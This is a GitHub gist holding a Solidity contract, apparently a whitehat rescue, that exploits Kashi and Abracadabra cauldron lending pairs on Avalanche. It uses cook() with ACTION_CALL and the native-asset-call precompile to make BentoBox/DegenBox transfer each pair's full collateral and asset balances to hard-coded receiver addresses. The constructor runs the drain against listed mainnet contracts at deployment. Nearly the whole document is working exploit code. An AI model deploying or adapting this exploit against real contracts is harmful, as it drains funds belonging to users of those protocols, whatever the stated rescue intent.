Skip to content

Instantly share code, notes, and snippets.

@0xm3rlin
Created Sep 4, 2022
Embed
What would you like to do?
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.0;
interface IERC20 {
// transfer and tranferFrom have been removed, because they don't work on all tokens (some aren't ERC20 complaint).
// By removing them you can't accidentally use them.
// name, symbol and decimals have been removed, because they are optional and sometimes wrongly implemented (MKR).
// Use BoringERC20 with `using BoringERC20 for IERC20` and call `safeTransfer`, `safeTransferFrom`, etc instead.
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/// @notice EIP 2612
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
interface IBentobox {
function transfer(
address token,
address from,
address to,
uint256 share
) external;
function balanceOf(address token, address account) external view returns (uint256);
}
interface IKashi {
function asset() external view returns (IERC20);
function bentoBox() external view returns (address);
function collateral() external view returns (IERC20);
function cook(
uint8[] calldata actions,
uint256[] calldata values,
bytes[] calldata datas
) external payable returns (uint256 value1, uint256 value2);
}
interface INativeAssetCall {
function nativeAssetCall(
address addr,
uint256 assetID,
uint256 assetAmount,
bytes memory callData
) external returns (bytes memory);
}
/// @author chmod444.eth
contract KashiAvaxWhitehat {
uint8 internal constant ACTION_CALL = 30;
address internal constant NATIVE_ASSET_CALL = 0x0100000000000000000000000000000000000002;
address internal constant MIM = 0x130966628846BFd36ff31a822705796e8cb8C18D;
address targetToken;
address owner;
IBentobox bento;
constructor(IBentobox _bento) {
owner = msg.sender;
bento = _bento;
}
function saveCauldron(address[] memory _kashi, address receiver) external {
require(owner == msg.sender);
for (uint256 i = 0; i < _kashi.length; i++) {
IKashi kashi = IKashi(_kashi[i]);
require(kashi.bentoBox() == address(bento), "wrong bentobox <=> pair");
address collater = address(kashi.collateral());
uint256 collateralAmount = bento.balanceOf(collater, address(kashi));
uint256 assetAmount = bento.balanceOf(MIM, address(kashi));
bytes memory collateralCallData = abi.encodeWithSelector(
bento.transfer.selector,
collater,
address(kashi),
receiver,
collateralAmount
);
bytes memory assetCallData = abi.encodeWithSelector(bento.transfer.selector, MIM, address(kashi), receiver, assetAmount);
bytes memory attackCollateralCallData = abi.encodePacked(
address(bento),
uint256(0xec21e629d1252b3540e9d2fcd174a63af081417ea6826612e96815463b8a41d7),
uint256(0),
collateralCallData
);
bytes memory attackAssetCallData = abi.encodePacked(
address(bento),
uint256(0xec21e629d1252b3540e9d2fcd174a63af081417ea6826612e96815463b8a41d7),
uint256(0),
assetCallData
);
bytes memory attackActionDataCollateral = abi.encode(NATIVE_ASSET_CALL, attackCollateralCallData, false, false, uint8(0));
bytes memory attackActionDataAsset = abi.encode(NATIVE_ASSET_CALL, attackAssetCallData, false, false, uint8(0));
uint8[] memory actions = new uint8[](2);
uint256[] memory values = new uint256[](2);
bytes[] memory datas = new bytes[](2);
actions[0] = ACTION_CALL;
actions[1] = ACTION_CALL;
values[0] = 0;
values[1] = 0;
datas[0] = attackActionDataCollateral;
datas[1] = attackActionDataAsset;
kashi.cook(actions, values, datas);
}
}
function saveKashi(address[] memory _kashi, address receiver) external {
require(owner == msg.sender);
for (uint256 i = 0; i < _kashi.length; i++) {
IKashi kashi = IKashi(_kashi[i]);
require(kashi.bentoBox() == address(bento), "wrong bentobox <=> cauldron");
address collater = address(kashi.collateral());
address asset = address(kashi.asset());
uint256 collateralAmount = bento.balanceOf(collater, address(kashi));
uint256 assetAmount = bento.balanceOf(asset, address(kashi));
bytes memory collateralCallData = abi.encodeWithSelector(
bento.transfer.selector,
collater,
address(kashi),
receiver,
collateralAmount
);
bytes memory assetCallData = abi.encodeWithSelector(bento.transfer.selector, asset, address(kashi), receiver, assetAmount);
bytes memory attackCollateralCallData = abi.encodePacked(
address(bento),
uint256(0xec21e629d1252b3540e9d2fcd174a63af081417ea6826612e96815463b8a41d7),
uint256(0),
collateralCallData
);
bytes memory attackAssetCallData = abi.encodePacked(
address(bento),
uint256(0xec21e629d1252b3540e9d2fcd174a63af081417ea6826612e96815463b8a41d7),
uint256(0),
assetCallData
);
bytes memory attackActionDataCollateral = abi.encode(NATIVE_ASSET_CALL, attackCollateralCallData, false, false, uint8(0));
bytes memory attackActionDataAsset = abi.encode(NATIVE_ASSET_CALL, attackAssetCallData, false, false, uint8(0));
uint8[] memory actions = new uint8[](2);
uint256[] memory values = new uint256[](2);
bytes[] memory datas = new bytes[](2);
actions[0] = ACTION_CALL;
actions[1] = ACTION_CALL;
values[0] = 0;
values[1] = 0;
datas[0] = attackActionDataCollateral;
datas[1] = attackActionDataAsset;
kashi.cook(actions, values, datas);
}
}
}
contract RecoverFunds {
IBentobox private constant sushiBento = IBentobox(0x0711B6026068f736bae6B213031fCE978D48E026);
IBentobox public constant bentobox = IBentobox(0xf4F46382C2bE1603Dc817551Ff9A7b333Ed1D18f);
IBentobox public constant degenbox = IBentobox(0x1fC83f75499b7620d53757f0b01E2ae626aAE530);
IBentobox public constant limone = IBentobox(0xD825d06061fdc0585e4373F0A3F01a8C02b0e6A4);
address private receiverDegenBox = 0xAE4D3a42E46399827bd094B4426e2f79Cca543CA;
address private receiverBentoBox = 0x0F6A5006CcbD35e221E30CBA6C82554357cbB266;
constructor() {
{
KashiAvaxWhitehat k = new KashiAvaxWhitehat(bentobox);
address[] memory cauldrons = new address[](3);
cauldrons[0] = 0x3CFEd0439aB822530b1fFBd19536d897EF30D2a2; // AVAX
cauldrons[1] = 0x56984F04d2d04B2F63403f0EbeDD3487716bA49d; // wMEMO 1
cauldrons[2] = 0x35fA7A723B3B39f15623Ff1Eb26D8701E7D6bB21; // wMEMO 2
k.saveCauldron(cauldrons, receiverDegenBox);
}
{
KashiAvaxWhitehat k = new KashiAvaxWhitehat(degenbox);
address[] memory cauldrons = new address[](6);
cauldrons[0] = 0x95cCe62C3eCD9A33090bBf8a9eAC50b699B54210; // AVAX/USDC
cauldrons[1] = 0x3b63f81Ad1fc724E44330b4cf5b5B6e355AD964B; // xJOE
cauldrons[2] = 0x0a1e6a80E93e62Bd0D3D3BFcF4c362C40FB1cF3D; // AVAX/USDT
cauldrons[3] = 0x2450Bf8e625e98e14884355205af6F97E3E68d07; // AVAX/MIM
cauldrons[4] = 0xAcc6821d0F368b02d223158F8aDA4824dA9f28E3; // AVAX/MIM SLP
cauldrons[5] = 0xF6BB4627A86CE4AC6d748d4F69856980A305EC99; // Stargate USDC
k.saveCauldron(cauldrons, receiverDegenBox);
}
{
KashiAvaxWhitehat k = new KashiAvaxWhitehat(limone);
address[] memory cauldrons = new address[](3);
cauldrons[0] = 0x3Cf232F346934B949b99797d225Bb72734731990; // USDC.e/AVAX jLP
cauldrons[1] = 0x562Db5B5E95961760806A0435aa292c34919eC47; // TraderJoe AVAX/sAVAX
cauldrons[2] = 0x0dFb2cebae775c083911DFc39F7B1596E80D0ecB; // TraderJoe WAVAX/USDC
k.saveCauldron(cauldrons, receiverDegenBox);
}
{
KashiAvaxWhitehat k = new KashiAvaxWhitehat(sushiBento);
address[] memory kashiPairs = new address[](2);
kashiPairs[0] = 0xea103255F79e1A801B3D60Be10282cF4CF18a317;
kashiPairs[1] = 0x3aA5780CD912CD600fE4f2c4Ea8d4DfEb16579d1;
k.saveKashi(kashiPairs, receiverBentoBox);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment